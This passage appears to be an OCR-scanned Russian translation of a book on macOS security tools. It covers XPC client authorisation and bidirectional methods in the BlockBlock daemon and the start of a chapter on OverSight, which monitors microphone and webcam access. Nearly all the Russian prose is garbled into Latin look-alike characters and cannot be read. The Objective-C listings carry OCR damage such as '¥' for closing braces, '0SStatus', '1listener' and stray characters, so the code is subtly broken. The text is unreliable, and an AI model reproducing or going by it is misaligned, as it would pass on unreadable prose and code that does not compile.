-(BOOL)1listener: (NSXPCListener*)listener shouldAcceptNewConnection:(NSXPCConnection*)
newConnection {

BOOL shouldAccept = NO;

audit_token_t auditToken = ((ExtendedNSXPCConnection*)newConnection).auditToken;

0SStatus status = SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef _Nullable)
(@{(__bridge NSString*)kSecGuestAttributeAudit : [NSData dataWithBytes:&auditToken
length:sizeof(audit_token_t)]}), kSecCSDefaultFlags, &codeRef);

if(errSecSuccess != status) {

goto bail;

¥

status = SecCodeCheckValidity(codeRef, kSecCSDefaultFlags, NULL);
if(errSecSuccess != status) {

goto bail;

}

status = SecCodeCopySigningInformation(codeRef, kSecCSDynamicInformation, &csInfo);
if(errSecSuccess != status) {

goto bail;

¥

uint32_t csFlags = [((__bridge NSDictionary*)csInfo)[(__bridge NSString*)
kSecCodeInfoStatus] unsignedIntValue];

if( !'(CS_VALID & csFlags) && !(CS_RUNTIME & csFlags) ) {

goto bail;

}

NSString* requirement = [NSString stringWithFormat:@"anchor apple generic and
identifier \"%@\" and certificate leaf [subject.CN] = \"%@\" and info
[CFBundleShortVersionString] >= \"2.0.0\"", HELPER_ID, SIGNING_AUTH];
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SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)
newConnection).auditToken);

status = SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirement));
if(errSecSuccess != status) {

goto bail;

¥
shouldAccept = YES;

// Add code here to configure and finalize the NSXPCConnection.
bail:
return shouldAccept;

b
JlnctnHr 11-16: Astopusaumst XPC clients

Bac moxXeT yauBuTb, HAcKombKo TpyaHo 3awmTtuTb privileged XPC interfaces. Apple B KOHLE KOHLIOB TOXe
3TO 0CO3Hana u, kK cqactbto, B macOS 13 npegoctasuna gsa HoBbix API, cneunanbHO npegHasHavYeHHbIX
ANSA yNpoLLeHns npouecca rapaHTMpoBaHWs TOro, YTo NOAKNIYaTLCS MOryT Tonbko authorized clients.
Ecnn Bawm nHcTpymeHThl OyayT paboTath ToNbko Ha Bepcusix macOS 13 unu HoBee, crnegyeT
ncnone3oBaTtb 3TU APIs, 4ToObI He BecnokouTbcsa 0 gocTtyne K private audit tokens nnm pydHom
nssneveHun n nposepke code signing information. Cnegytowmin pasgen nogpo6Ho onuweTt 31 APls.

Setting Client Requirements

B macOS 13 1 HoBee meToa knacca NSXPCListener setConnectionCodeSigningRequirement: ®,
MeTon knacca NSXPCConnection setCodeSigningRequirement: (91 hossonsior yCcTaHoBUTbL code
signing requirements nn6o Ha listener, nnbo Ha connection object. MepBbIi BapnaHT NnpuMeHseTcsa KO
BCEM connections, Toraa Kak BTOPOV NPUMEHSIETCS TOMbKO K KOHKPETHBIM, HO MOXXHO UCMOMb30BaTh
ntoboi, yTobbl He no3BonATb unauthorized clients noakntoyaTbea k XPC interface.

BlockBlock ncnonb3yet metog listener, kotopomy TpebyeTca MmeHbLuas granularity; oH 3anpeLlaeT niobble
connections, He npuHagnexawwme helper client BlockBlock. HanomHto, yto nuctuHr 11-10 nokasbiBan Kog
nunumnanusaumm XPC listener. JinctnHr 11-17 ctponTtcs Ha 3TOM OCHOBe, A0baBnNAs Kog AS1s 3anycka Ha
Bepcusax macOS 13 u HoBee.

#tdefine DAEMON_MACH_SERVICE @"com.objective-see.blockblock"

#define HELPER_ID @"com.objective-see.blockblock.helper"

#define SIGNING_AUTH @"Developer ID Application: Objective-See, LLC (VBG97UB4TA)"

self.listener = [[NSXPCListener alloc] initWithMachServiceName:DAEMON_MACH_SERVICE];

if(@available(macOS 13.0, *)) {

NSString* requirement = [NSString stringWithFormat:@"anchor apple generic and

identifier \"%@\" and certificate leaf [subject.CN] = \"%@\" and info

[CFBundleShortVersionString] >= \"2.0.0\"", HELPER_ID, SIGNING_AUTH];

[self.listener setConnectionCodeSigningRequirement:requirement];

}

self.listener.delegate = self;
[self.listener resume];

Jlnctunr 11-17: Astopumsauus clients Ha Bepcnsix macOS 13 n Hosee

Mocne Bblgenenns u nHuumanusaumm obbekta NSXPCListener Mbl ncnonb3yem Objective-C attribute
@available co 3Ha4yeHMeM mac0S 13.0, *, 4yTobObl MHCTPYKTMPOBATL compiler BbIMOMHATL cnegyrowme
CTpokM Tonbko Ha macOS 13 unm HoBee, NockonbKy MeTo setConnectionCodeSigningRequirement:
HefocTyneH Ha 6onee paHHMX Bepcuax macOS.

3aTeM Mbl AMHaMUYECKN nHULManu3mpyem cTpoky code signing requirement, ¢ nomoLLbo Kotopown Byaem
npoBepaTb NodbIX clients, NbiTaoWwmMxca NOAKNUYNTLCS K listener. Requirement ngeHTU4eH nokasaHHOMY
paHee. HakoHel, BlockBlock Bbi3biBaeT MeTtoa setConnectionCodeSigningRequirement:, 4ToObl
uHcTpykTnposaTb XPC runtime npvHMMaTh Tonbko connections ot clients, COOTBETCTBYIOLLNX YKa3aHHOMN
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cTpoke code signing requirement. Tenepb Ham GonbLUe He HY>XHO BPY4YHYH NpoBepATh clients; macOS
nosabotutcsa 06 aTom 3a Hac!

UTtob6bl noaTBepamuTh, 4To authorization pabotaet, ckomnunupyiTte u BeinonHute BlockBlock Ha macOS
Bepcun 13 nnn HoBee, 3aTeM nonbiTanTech nogkntounTbes k ero XPC interface c illegitimate client.
Connection gomkeH 3aBepLUMTLCA Heyaadewn, a cuctemHast bubnuoteka XPC gomkHa HanevaTtatb
cnepytowee coobueHune B unified log:

Default 0x0 56198 © BlockBlock: (libxpc.dylib) Bogus check-in attempt. Ignoring.

Tenepsb, koraa BlockBlock moxeTt aBTopusoBbiBaTth XPC clients, oH MOXeT HacTpouTb 1 3aTeM
aKkTuBupoBaTb connection.

BknouyeHne Remote Connections

XPC communications 06bIYHO NPOUCXOAAT TONbKO B OAHOM HanpaereHuu; client noakntoyaeTcs K listener
n BbI3biBaeT ero metoabl. OaHako BlockBlock peanuayet bidirectional communications. Daemon
peanuayeT 6onblunHcTBO XPC methods ans 3agay Bpoae 6nokmpoBaHust unu yaanenus persistent items
n cosgaHus rules, a client Bbi3biBaeT nx. OgHako daemon Takke Bbl3blBAET METOAbI, peanu3oBaHHble B
client, ytobbl, Hanpumep, oTobpaxaTb alerts nonb3oBaTento.

YUTto6bl 06ecneumnts aT0T bidirectional IPC, Mbl 4omkHbI HACTponUTb 06bEKT NSXPCConnection. CHavana
HacTpowum listener object Ha cTopoHe server. 3To BkMoyaeT onpegeneHme remote methods, koTopble
client moxeT BbI3bIBaTb, U YkazaHue obbekTa Ha server side XPC interface, KoTopbiln peanuayeT aTu
mMeToabl. U server, u client gomkHbl cornacoBatb, kakue meToabl client MoxeT yaaneHHo Bbi3biBaTb. Mbl
MOXeM JobuTbCcst 3TOro, yCTtaHOBUB CBOMCTBO listener exportedInterface B 06bekT NSXPCInterface,
onuckiBaowmn protocol ansa exported object. (1]

B 3TOM KOHTEKCTE protocol - 3TO NMPOCTO CNNUCOK MeToaoB, KOTOPble 6y,EI,yT peann3oBbiBaTb conformant
objects. ['2] O6biuHO MbI 0B BSIBNSIEM 3TH protocols B header (. h) files, 4To no3BonseT NErko BKMYaTL X
Kak B server, Tak u B client code. Jluctunr 11-18 - ato XPC protocol daemon BlockBlock.

@protocol XPCDaemonProtocol

-(void)getPreferences:(void (~)(NSDictionary*))reply;

-(void)updatePreferences: (NSDictionary*)preferences;

-(void)getRules: (void (~)(NSData*))reply;

-(void)deleteRule: (Rule*)rule reply:(void (~)(NSData*))reply;

-(void)alertReply: (NSDictionary*)alert;

@end

JInctnHr 11-18: XPC daemon protocol

Mocne o6bsiBneHus aToro protocol daemon MOXeT yCTaHOBUTbL CBOMCTBO exportedInterface B 06bekT
NSXPCInterface, conformant protocol XPCDaemonProtocol. Kog ans BkntodeHus client connections
MOXHO HanTu B delegate method listener:shouldAcceptNewConnection: (nuctuHr 11-19).

-(BOOL)1listener: (NSXPCListener*)listener shouldAcceptNewConnection:

(NSXPCConnection*)newConnection {

// Code to authorize the client, and ignore unauthorized ones, removed for brevity

newConnection.exportedInterface =
[NSXPCInterface interfaceWithProtocol:@protocol(XPCDaemonProtocol)];

JInctmnHr 11-19: YctaHoBka exported interface anst NSXPCConnection

KoHeuHOo, Heob6XxoaMMO Takke yKkasaTb OObEKT Ha server side, KOTopbI peanu3yeT 3Tn MeToabl (B AaHHOM
cny4yae daemon BlockBlock). 3To moxHo cgenatb, ycTaHOBMB CBOMCTBO exportedObject Ha listener
(nmuctuHr 11-20).
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-(BOOL)1listener: (NSXPCListener*)listener shouldAcceptNewConnection:
(NSXPCConnection*)newConnection {
// Code to authorize the client, and ignore unauthorized ones, removed for brevity

newConnection.exportedObject = [[XPCDaemon alloc] init];

JInctnHr 11-20: YctaHoBka 06bekTa, peanuaytowlero exported interface

BlockBlock cosgaet knacc ¢ umeHem XPCDaemon, 4Tobbl peanusosarth client-callable methods. Kak u
oXuaanocb, 3ToT knacc conforms daemon protocol, XPCDaemonProtocol (nuctuHr 11-21).

@interface XPCDaemon : NSObject <XPCDaemonProtocol>
@end

JNluctmHr 11-21: Interface, conformant XPCDaemonProtocol

[danee Mbl kpaTko paccMoTpuM Heckonbko privileged XPC methods, koTopble MoxXeT Bbl3BaTb helper
component BlockBlock, BbinonHstowmica B limited-privilege user session.

Exposing Methods

BlockBlock no3sonsieT nonb3oBaTtensmM onpeaensitb rules Ans aBToMaTtMyecKkoro paspeLleHunst 0bbl4HbIX
persistence events. Privileged daemon BlockBlock ynpaensieT atumu rules, 4ytobbl unprivileged malware
He morno tamper ¢ HUMK (Hanpumep, gobdasue allow rule, no3sonsLwee malware 3akpenuTbes). YTobbI
nokasatb rules nonb3osaTtento, client BlockBlock BbizoBeT meTog daemon getRules: yepe3 XPC
(nmcTuHr 11-22).

-(void)getRules: (void (~)(NSData*))reply {

NSData* archivedRules = [NSKeyedArchiver archivedDataWithRootObject:

rules.rules requiringSecureCoding:YES error:nil];

reply(archivedRules);
}

Jinctuur 11-22: Bosepar serialized rules

Mockonbky XPC asynchronous, MeTofbl, Bo3BpaLllatLme data, 4omkHbl AenaTb 370 B block. MeToza
getRules:, o6bsiBNEeHHbI B XPCDaemonProtocol, npuHnumaeT Takon block, KOTOpbI Bbi3biBaOLLNIA KO,
MOXeET BbI3BaTb ¢ data object, cogepxalumm cnuncok rules. 3ameTbTe, YTO peanms3aums MeTona 4OBOJSIbHO
©asoBasi; oHa nNpocTo serializes rules n oTnpaBnsieT nx obpatHo client.

Bonee cnoxHbii npumep XPC method - alertReply:, koTopbil client BbidbiBaeT Yepe3 XPC nocrne Toro,
Kak nonb3oBaTenb B3anmMoaencTBoBan ¢ persistence alert (Hanpumep, Haxan Block). MeTtog npuHumaeT
dictionary, encapsulates alert. [Nonb3oBaTenb He OXXMaaeT oTBETA, MO3ITOMY METO HE UCMONb3yeT
callback block. JluctuHr 11-23 nokasblBaeT OCHOBHOW KOA MeTOAa, peanvM3oBaHHbIN BHYTpKU daemon.

-(void)alertReply: (NSDictionary*)alert {

Event* event = nil;
@synchronized(events.reportedEvents) {

event = events.reportedEvents[alert[ALERT_UUID]];

}

event.action = [alert[ALERT_ACTION] unsignedIntValue];
if(BLOCK_EVENT == event.action) {

[event.plugin block:event];

}

if(YES != [alert[ALERT_TEMPORARY] boolvValue]) {
[rules add:event];

}

}

JlnctnHr 11-23: O6paboTka oTBETa NoNb3oBaTeNs Ha alert
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CHauana Mbl monyyaem o6bekT, npeacTaensowmn persistent event, na alert dictionary ¢ ncnonbsosaHuem
UUID. Mbl obopadnBaem 06bekT B 6ok @synchronized, 4tobbl o6ecneunts thread synchronization.
Hanee mbl n3enekaem user-specified action (nm6o block, nubo allow) us alert. Ecnu nonb3oBatens pewunn
3abnokmpoBaTb persistent event, BlockBlock BbizoBeT meToa block: cooTBeTcTBytOLErO plug-in. 31O
BbINonHUT plug-in-specific code ans yaaneHus persistent item n go6aeut rule ans cobbITUSA, ecnm TONbLKO
nonb3oBaTtesib He Haxan checkbox "temporary" B alert.

A ynomuHan, yto daemon BlockBlock Takke formkeH Bbl3biBaTb METOAbI, peanu3oBaHHble B helper,
Hanpumep 4ToObI NokasaTh alert nonb3oBaTtento. OH MoXeT Aenatb 370 Yepes ToT e XPC interface
nocne nogknoyeHus helper, xoTa Ham HyxHo yka3saTtb dedicated protocol. BlockBlock Ha3sbiBaeT aToT
client protocol XPCUserProtocol (nuctuHr 11-24). OH cogepXxuT MeToabl, KOTopble peanuayeT client n
KoTopble daemon MOXeT yaaneHHo Bbi3biBaTb Yepe3 XPC.

@protocol XPCUserProtocol

-(void)alertShow: (NSDictionary*)alert;

@end
Jinctuur 11-24: XPC user protocol

BepHyBwwuch B MeTog 1istener:shouldAcceptNewConnection:, Mbl HacTpavBaeM listener Tak, YToObI
daemon mor BbI3biBaTb remote methods client (nuctuHr 11-25).
-(BOOL)1listener: (NSXPCListener*)listener shouldAcceptNewConnection:

(NSXPCConnection*)newConnection {
// Code to authorize the client, and ignore unauthorized ones, removed for brevity

newConnection.remoteObjectInterface =
[NSXPCInterface interfaceWithProtocol:@protocol(XPCUserProtocol)];

JlnctnHr 11-25: YctaHoBka remote object interface

MbI ycTaHaBnuBaem cBoOMCTBO remoteObjectInterface n ykasbiBaem protocol XPCUserProtocol.

Initiating Connections

o cux nop s nokasbiBarn, kak daemon BlockBlock HacTpamnBaeT XPC listener, exposes methods u
rapaHTMpyeT, YTO MNOAKMYaTbhCs MOryT Tonbko authorized clients. OgHako 4 elle He nokasarn, kak client
MHUUMMpYeT connection nunum kak oH u daemon yganeHHo BbidbiBatoT XPC methods.

Mocne 3anycka daemon BlockBlock ero XPC interface craHoButcsa goctyneH gns authorized connections.
YTtobbl noakntounTtbes kK daemon, helper BlockBlock ncnonbayet metog o6bekta NSXPCConnection
initWithMachServiceName:options:, yka3sbiBas TO e UMs, KOTOPOE ucnons3dyetca daemon (NMUCTUHT
11-26).

#tdefine DAEMON_MACH_SERVICE @"com.objective-see.blockblock"

NSXPCConnection* daemon = [[NSXPCConnection alloc]
initWithMachServiceName:DAEMON_MACH_SERVICE options:0];

Tnctunur 11-26: Munumanumsaumsa connection kK XPC service daemon

Kak mbl fenanu Ha server side, Mbl JOJDKHBI YCTaHOBUTL protocol ans remote object interface. Nockonbky
Tenepb Mbl Ha client side, "remote object interface" B aTom cnyyae otHocutca k XPC object Ha daemon,
KoTopbIn exposes remotely invocable methods (nuctuHr 11-27).
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#tdefine DAEMON_MACH_SERVICE @"com.objective-see.blockblock"

NSXPCConnection* daemon = [[NSXPCConnection alloc]
initWithMachServiceName:DAEMON_MACH_SERVICE options:0];

daemon.remoteObjectInterface =

[NSXPCInterface interfaceWithProtocol: @protocol(XPCDaemonProtocol)];
daemon.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCUserProtocol)];
daemon.exportedObject = [[XPCUser alloc] init];

[daemon resume];

JlnctnHr 11-27: Hactponka o6bekta XPC connection Ha client side

HanowmHto, 4To aT0T 06BEKT conforms XPCDaemonProtocol, NO3TOMy Mbl yKa3biBaem ero 3gecb. Kpome
TOro, NockosnbKy daemon JOImKeH Bbi3biBaTb METOAbI, peanu3oBaHHble B client, client gomkeH HacTpouTb
cobcTBeHHbIN exported object. OH genaet 310 Yepes meToabl exportedInterface u exportedObject.
MepBbi ykasbiBaeT protocol (XPCUserProtocol), Toraa kak BTOpon yka3biBaeT 06bekT (XPCUser) B client,
koTopbin peanusyeT exported XPC methods. HakoHeL, Mbl resume connection, 4To 3anyckaet
dakTmnyeckoe nogkntodeHne k XPC listener daemon.

Invoking Remote Methods

Ha atom aTane mbl 3aBepLlumnu peanusaumtio XPC connection. A 3akoH4y 3T0O 06CyKaeHne
ncnonb3oBaHusa XPC B BlockBlock, nokasag, kak oH dakTnyecku BbidbiBaeT remote methods,
cocpefoToumBLLMCE Ha Bonee pacnpocTtpaHeHHoM cry4ae client side. YTtobel abstract ceom
communications ¢ daemon, client BlockBlock ncnonb3yeT nosib3oBaTefnibCKUN Kracc ¢ UMEHEM
XPCDaemonClient. Kog u3 nuctuHra 11-26, yctaHaesnusatowmin XPC connection, HaxoguTcs B 9TOM
Knacce, Kak u ko, Bbi3biBatowmn remote XPC methods.

UTto6bl noaknounTbca k daemon 1 Bbi3BaTb 0AMH U3 ero remote privileged XPC methods (Hanpumep,
4yTOObI NONY4YnTh TEKyLMe rules), client MOXeT BbINOMHUTL Kof M3 NMcTuHra 11-28.

XPCDaemonClient* xpcDaemonClient = [[XPCDaemonClient alloc] init];
NSArray* rules = [[xpcDaemonClient getRules];

JluctmHr 11-28: BbizoB remote XPC methods

PaccmoTpum BHMMaTeneHee meToq getRules, KOTOpbIV Bbi3biBaeT corresponding remotely exposed
method daemon getRules:. OTOT MeTo4 AaeT XOPOLLMIA NPUMEP TOro, Kak MOXHO BbidbiBaTb XPC
methods ¢ yyeTom nx nuances. ObpaTute BHMMaHUe, YTO XOTA METO, COAEPXKUT AOMONTHUTENbHYIO NMOTUKY
ansa deserializing rules, nonyyeHHbIx oT daemon, 3aecb Mbl cocpegoTounmces Tonbko Ha XPC logic
(nucTuHr 11-29).

-(NSArray*)getRules {
_ block NSDictionary* unarchivedRules = nil;

[[self.daemon synchronousRemoteObjectProxyWithErrorHandler:~(NSError* proxyError) {
// Code to handle any errors removed for brevity

}] getRules:~(NSData* archivedRules) {

// Code to process the serialized rules from the daemon removed for brevity

Fa
return rules;

}
JInctnHr 11-29: MNony4yenwue rules ot daemon

CHauana kop BbI3biBaeT synchronous connection method knacca NSXPCConnection. Xota XPC B uenom
asynchronous, Mbl oxugaem, 4to daemon BepHeT data, noaTomy ncnonb3oBaHmne synchronous call nmeet
B 9TOM cuTyaumm HanbonbLlimn cmbicn. B apyrmx mectax BlockBlock ncnonsayet 6onee
pacnpocTpaHeHHbIn asynchronous metof remoteObjectProxyWithErrorHandler:.
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MeTtop init knacca XPCDaemonClient paHee ycTtaHOBMN connection n coxpaHun ero B instance variable
¢ nmeHem daemon. Connection method Bo3BpaluaeT remote object, koTopbIi exposes remotely invocable
XPC methods. Ecnn npu nonyyeHnn aToro o6bekta BO3HUKAOT Kakne-nmbo errors, Kof Bbl3biBaEeT error
block.

Mmes remote object Ha pykax, Mbl MOXXeM 3aTeM BbI3biBaTb €r0 METOAbI, TakMe Kak getRules:. YToObI
BepHyTb data, atoT XPC call npuHumaert reply block; nuctuHr 11-22 nokaseiBan peanusaumio 3Toro
MeToda, Haxoasdiytoca BHyTpu daemon. Korga call 3aBepluaeTcs, block BeinonHaeTcsa, npuHuMas B
kauecTtBe parameter data object, copepxawumn serialized rules ot daemon.

3aknro4yeHue

Moaxopn BlockBlock npocT: obHapyxuBaTth persistent items, npegynpexaaTtb Nonb3oBaTens U NO3BONATb
eMy y[ansTb HeXenaTenbHble 3NIeMeHTbl. HeCMOTpst Ha NPSIMONMHEHOCTb, 3TOT AU3aiH OKa3arcs
HeBepoATHO achdheKTMBHBLIM Aaxke NpoTuB camoro sophisticated persistent Mac malware.

B aTow rmase Bbl yBuaenu, kak 3anpocute Endpoint Security entitlement y Apple. Bbl Takke paccmoTtpenu
ausanH BlockBlock, ncnonesosaHve um Endpoint Security events u ero bidirectional XPC
communications. Ecnu Bbl co3gaeTe cobcTBeHHbIE security tools, 8 npu3biBato Bac 6paTb npumep ¢
system frameworks, APIs n mechanisms, koTopble ncrnonb3yet BlockBlock.

Cnepytowas rmasa nccneayet MHCTPYMEHT, NpedHa3HavyeHHbI AN 3BPUCTUYECKOro 0BHapyeHns
HEKOTOPbIX N3 CaMblX KOBapHbIX 06pa3LoB BpeaoHOCHOro [10: Tex, KOTopble CKPbITHO LUMMOHSAT 3a
XepTBamMm 4Yepes X MUKPOOHbI U BeB-kamepbl.
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MnaBa 12. MoHuTOp MUKpocpoHa n BebG-Kamepbl

B "Shut Up and Dance", npoH3autensHom anu3ofe Tenewoy Black Mirror, hackers 3apaxatoT komnbloTep
MOMOAOro nogpocTka malware, WNUOHAT 32 HUM Yepe3 webcam, a 3aTem LaHTaxom 3acTaBnsAloT
coBepLuaTh NpecTynHble gencTeus. Mo coBnageHnto, He3a4onro 4o Bbixoga anu3oga s 3aHMMarcs
reverse engineering MHTpurytoLLero obpasua Mac malware, nssectHoro kak FruitFly, kotopbii genan
HeuTo oueHb noxoxee. L

37107 persistent backdoor men MHOro BO3MOXHOCTEN, BKMOYasa CNOCOBHOCTb LWINNMOHUTL 3a webcams
CBOWX XepTB, ucnonbays archaic QuickTime APIs. Xota atn APIs aktnsuposanu LED indicator light
kamepbl, y malware 6bin goBonbHo insidious trick up its sleeve, 4ToObl NONbITaTLCA OCTaTLCH
He3amMe4YeHHbIM; OHO Xano, NokKa xepTBa CTaHeT inactive, npexae 4Yem 3anyckatb spying logic. B
pesyrnbTaTte XepTBa, CKopee BCero, He 3amedana, Yto ee webcam Gblifnia CKpbITHO aKTMBUPOBaHa.

Moe paccnegosaHne malware nepeceknocs ¢ onepauuen FBI, koTopas npveena kK apecty
npegnonaraemoro cosgartens U packpbina koBapHbl oxsaT FruitFly. CornacHo press release n indictment
Department of Justice, cozpgatene yctaHoBun FruitFly Ha Tbicaum komnbloTepoB B TedeHne 13 ner. 21

Apple B kKOHLEe KOHLIOB NpuHSANa Mepbl Ang mitigation aton yrposel, Hanpumep cosgana detection
signatures XProtect. [Jaxxe Tak FruitFly ocTtaeTcsa cypoBbiM HanoMmHaHmeM 06 O4YeHb pearbHbIX
OMacHOCTAX, C KOTOPbIMW MOFYT CTankvMBaTbCsa nonb3oBatenu Mac, HecmoTps Ha Bce yeunus Apple.
FruitFly paxxe He eguHcTBeHHOEe Mac malware, wnunoHsiwee 3a xepTeamu Yepes webcam. Cpegu apyrux -
Mokes, Eleanor un Crisis.

YTo6bl NPOTMBOCTOATL 3TUM yrpo3am, s BbinycTun OverSight, utility, koTopast MOHUTOPUT BCTPOEHHbIE MIC
n webcam Mac, a Takke ntobble BHelHMe NoakntoveHHble audio u video devices, n npegynpexgaeT
nonb3oBaTtens o nbom unauthorized access. B aToi rase 1 06bAcHI0, kak OverSight MOHUTOPUT 3TU
devices. A Takke NPOAEMOHCTPUPYIO, KaK 9TOT MHCTPYMEHT nornowaeT system log messages,
oTchmnbTpoBaHHbIe Yepes custom predicates, 4Tobbl MOEHTMNLMPOBATL NPOLIECC, OTBETCTBEHHbIV 3a
device access.

MonHbIn ncxoaHein ko OverSight moxHo HanTu B penoautopumn Objective-See Ha GitHub no agpecy
https://github.com/objective-see/OverSight.

Oun3anH MHCTpyMeHTa

B nByx cnoeax, OverSight npegynpexagaeT nonb3oBaTensi BCAKUA pas, koraa mic unm webcam ero Mac
aKTMBUPYETCS, W, YTO BaXkHee BCero, naeHtuduumpyet responsible process. Takum 06pa3om, BCAKUIA pas,
korga malware Bpoge FruitFly neiTaeTca nonyuntb OCTYN K camera unm mic, 3To JencTane BbI3oBeT alert
OverSight. Xota OverSight HamepeHHO He MbiTaeTca KnaccuguumpoBaTb Npouecc kak benign nnm
malicious, oH NnpegocTaBnseT nonb3oBaTensam options, 4Tobbl 60 allow, Nnbo block process, Nnbo
exempt trusted processes (pncyHok 12-1).
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“#** Became Active!
FaceTime HD Camera

Process: zoom.us (95144) Options v

Allow (Once)
Allow (Always)
Block

PucyHok 12-1: OverSight npegoctaBnsieT onumio Bcerga paspeluaTtb onpeeneHHOMY UHCTPYMEHTY
Joctyn K mic u1 webcam.

Onumsa Allow (Once), No cyTu, He BLINOMHAET HUKaKMUX AenCcTBUI, nockonbky OverSight nonyyaet
notifications yxe nocne Toro, kak device activation npousowna. OgHako onuumsa Allow (Always)
npegocTaBnsieT NONb30BaTENAM NPOCTON cnocob co3gasaTh rules, koTopble He AatoT trusted processes,
Takum kak FaceTime nnm Zoom, reHepupoBaTb alerts B 6yaywem. HakoHeu, onuus Block 3aBepunt
npouecc, otnpasus emy Kill signal (SIGKILL).

Mo cpaBHEHMIO C TakKMMK MHCTPYMeHTamu, kak BlockBlock, koTopbI COAepXKNT pasnnyHble KOMMNOHEHTHI 1
XPC communications, OverSight oTHocuTenbHo npocT. 370 self-contained, stand-alone app, cnocobHoe
BbINOMHATL CBOM 06513aHHOCTM monitoring mic n webcam co standard user privileges. [laBavite
uccnegyem, kak nmeHHo OverSight gocturaet atoro monitoring u, 4To BaxkHee, naeHTUdnUnpyeT
responsible process. Mbl yBugum, 4to nepeoe nerko 6narogaps pasnuyHbiMm APls CoreAudio n
CoreMedialO, Torga kak BTopoe siBnsietcsl 6onee crnoxHon sagaven.

Mic and Camera Enumeration

UTto6bl nony4nThb notification o Tom, 4To NpoLiecc akTMBMPOBaN NN AeakTUBUPOBan KaXKabIn
noakntoveHHbI mic unu webcam, OverSight go6aenseT k kaxgomy device Tak HasbiBaeMblli property
listener ong ceoncTtBa "is running somewhere", kAudioDevicePropertyDeviceIsRunningSomewhere.
Mockonbky APls ana nobasneHus Takoro listener TpebytoT device ID, cHavyana NOCMOTPUM, Kak
nepedncnsaTb mic U camera devices, a 3atem ussnekatb ID kaxgoro device.

Knacc AVFoundation ! AVCaptureDevice 41 exposes class method devicesWithMediaType:, KOTOPbIN
npvHumaeT media type kak argument (nucTuHr 12-1). Ytobbl nepeuncnute audio devices, Takme Kak mics,
Mbl UCMONb3yeM KOHCTaHTy AVMediaTypeAudio. YTobbl nepeuncnutb video devices, Mbl UCNOMNb3yem
AVMediaTypeVideo. MeToq Bo3BpalLaeT MaccuB 00bekToB AVCaptureDevice, KOTOpble COOTBETCTBYHOT
ykaszaHHoMy media type.

224



#import <AVFoundation/AVCaptureDevice.h>

for(AVCaptureDevice* audioDevice in [AVCaptureDevice devicesWithMediaType:AVMediaTypeAudio]) {
printf("audio device: %s\n", audioDevice.description.UTF8String);

// Add code here to add a property listener for each audio device.

}
for(AVCaptureDevice* videoDevice in [AVCaptureDevice devicesWithMediaType:AVMediaTypeVideo]) {

printf("video device: %s\n", videoDevice.description.UTF8String);
// Add code here to add a property listener for each video device.

}
Jlnctunr 12-1: MepeuncneHune scex audio n video devices

Komnunaums n 3anyck koga u3 nuctuHra 12-1 BbIBOOUT HA MOeEWn cuctemMe crnegytollee, nokasbiBas
BCTpOeHHbIM microphone n webcam moero Mac, a Takke napy nogkntodeHHblx headphones:

Audio device: <AVCaptureHALDevice: 0x11b36a480 [MacBook Pro

Microphone][BuiltInMicrophoneDevice]>

Audio device: <AVCaptureHALDevice: 0x11a7e0440 [Bose QuietComfort 35]

[@4-52-C7-77-0D-4E:input]>

Video device: <AVCaptureDALDevice: 0x10dbb2c@@ [FaceTime HD Camera]

[3F45E80A-0176-46F7-B185-BB9E2COE82E3]>

Bbl MOXeTe nony4nTb JOCTYN K MMeHn device, Hanpumep FaceTime HD Camera, B CBOWCTBE
localizedName kaxgoro obbekta AVCaptureDevice. Takke MOXHO UCMOMNb30BaTb Apyrne CBOMCTBA
06bekTa, Takme kak modelID, manufacturer n deviceType, YTOObI MOHUTOPUTL TONBKO subset devices.
Hanpumep, MoxHO BbiGpaTe monitoring Tonbko devices, BCTpOeHHbIX B Baw Mac.

Audio Monitoring

YUTto6bl ycTaHoBUTL property listener Ha kaxapbii audio device n nony4yatb activation and deactivation
notifications, OverSight peanusyet helper method ¢ nmeHem watchAudioDevice:, KOTOpbIV NPUHMMaET
pointer Ha 06bekT AVCaptureDevice. [nsa kaxgoro device Tuna AVMediaTypeAudio OverSight Bbi3biBaeT
aToT helper.

B ocHoBe aToro metoaa Haxoautcs Bbi3oB yHKuun AVFoundation
AudioObjectAddPropertylListenerBlock, onpeaenenHon B header file AVFoundation
AudioHardware.h cneaytowum obpasom:

extern 0SStatus AudioObjectAddPropertyListenerBlock(AudioObjectID inObjectID,

const AudioObjectPropertyAddress* inAddress, dispatch_queue_t _ nullable inDispatchQueue,
AudioObjectPropertylListenerBlock inListener);

MepBbi parameter - 310 ID anga audio object, 4na KOTOPOro MOXHO 3aperncTpmupoBaTh property listener.
Kaxabin 06bekT AVCaptureDevice nmeet object property ¢ uMmeHeM connectionID, cogepxallee
Tpebyemsblii ID, HO OHO He exposed NyBnNMYHO. OTO 0O3HAYAET, YTO Mbl HE MOXEM 00paTUTLCHA K HEMY
HanpsAMylo, Hanncas Kof Bpoae audioDevice.connectionID. OgHako, kak OTMeYanoch B ApYrnx MecTax
3TOM KHUIN, MOXHO MOMy4nTb JOCTYN K private properties nnbo pacwmpus onpegeneHne oobekTa, nMmbo
ucrnionsb3ysa metod performSelector:withObject:.

OverSight ncnonbsyet nocnegHun nogxof. Jlornky nonyyenus private device ID n3 obbekta
AVCaptureDevice MOXxHO HanTu B helper method ¢ nmeHem getAVObjectID: (nUCTUHr 12-2).

-(UInt32)getAVObjectID: (AVCaptureDevice*)device {

UInt32 objectID = 0;

SEL methodSelector = NSSelectorFromString(@"connectionID");
if(YES != [device respondsToSelector:methodSelector]) {
goto bail;

}

#pragma clang diagnostic push

#pragma clang diagnostic ignored "-Wpointer-to-int-cast”
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#pragma clang diagnostic ignored "-Warc-performSelector-leaks"

objectID = (UInt32)[device performSelector:methodSelector withObject:nil];
#pragma clang diagnostic pop

bail:

return objectID;

}
Jlnctunr 12-2: Monyuyenwne private ID device

B Objective-C moxHO nonyyatb AOCTYN K object properties, Bkntoyas private ones, Bbi3biBas Ha 00bekTe
MeTo[, COBNagatLLMii C UMEHeM cBoncTBa. MOXHO cCbinaTbCs Ha 3TU MeToabl U BoobLe Ha ntobble
MeToAbl MO UX MMeHaM ¢ nomoLLbto selectors. MNMpeacrasneHHble Tunom SEL, Objective-C selectors Ha
CaMOM ferne SABnsTCS NPOCTOo pointers Ha CTPOKW, NpeAacTaBnsAlwmne MMs metoga. B nuctuHre 12-2
BWAOHO, YTO KO cHavana co3gaeTt selector ans ceonctea connectionID ¢ nomouwbio API
